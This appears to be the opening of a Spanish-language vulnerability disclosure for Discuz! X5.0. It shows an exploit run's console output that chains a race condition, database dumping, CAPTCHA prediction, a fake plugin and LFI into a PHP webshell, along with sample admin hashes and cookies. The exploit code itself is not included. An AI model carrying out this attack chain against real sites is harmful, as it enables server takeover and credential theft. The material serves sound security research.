
Encadenando errores de seguridad en Discuz! X5.0: de condición de carrera a RCE previo a la autenticación
pip3 install Pillow torch torchvision
$ python3 exploit.py http://localhost/discuz5/
+----------------------------------------------------+
| Exploit RCE para Discuz! X5.0 por EgiX |
+----------------------------------------------------+
[+] Obteniendo código de autenticación para exportación de base de datos
[+] Código de autenticación: 61feiuI8ReSHRHUDKl2DXeB1QMcdNX6Mpu0gZ8OBS5qRgmQ6Jg3W6mrNVooNqITEtQOd4WUMlGNlQSz7WD6s
[+] Exportando base de datos
[+] Descargando volcado de base de datos
[+] Buscando nombre de usuario admin y hash de contraseña MD5
[+] Nombre de usuario admin: admin
[+] Contraseña MD5 del admin: 96b21b6bfc5fe6d4530f8345fbcfbc6d
[+] Registrando nuevo usuario 'especial'
[+] Nombre de usuario: 96b21b6bfc5fe6d4530f8345fbcfbc6d 1 c55a895b
[+] CAPTCHA habilitado
[+] Descargando CAPTCHA
[+] Predicción de CAPTCHA: CY46
[+] Obteniendo código de autenticación para importación de base de datos
[+] Código de autenticación: 553fh4gPsIhwsSdSKb1ti6SqITi945W2I%2BEyoYCMwVQeMqfyp4ekIwTPqzKkU7hfTHqVg0FhhR9Ic3kiUkkGVsbzkDOIcRpL7bCHUKRKha6KxPeOoud0qxEZPqk
[+] CAPTCHA habilitado
[+] Descargando CAPTCHA
[+] Predicción de CAPTCHA: CMJ6
[+] Realizando ataque de condición de carrera
[+] 🏆 ¡Ataque de condición de carrera exitoso!
[+] Cookie de autenticación del admin: ef196PBDlZZvpe3Fze5ZW36x3%2B7i9cukujemIqJ%2BH1vGJCBmVWLlNVa2OCnq2lAsLjFhrC5x55Wgh3mlqgSnlwXKRqvhQbDaZguSq5hboelr
[+] Esperando a que finalice el proceso de importación
[+] Restableciendo contraseña del admin
[+] Realizando inicio de sesión en admincp
[+] Como admin: subiendo stager PHP como imagen PNG
[+] Como admin: importando plugin falso
[+] Como admin: importando plugin de inclusión local de archivos (LFI)
[+] Como admin: activando LFI del stager PHP
[+] Lanzando webshell
discuz-shell# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
discuz-shell# pwd
/var/www/html/discuz5
discuz-shell# exit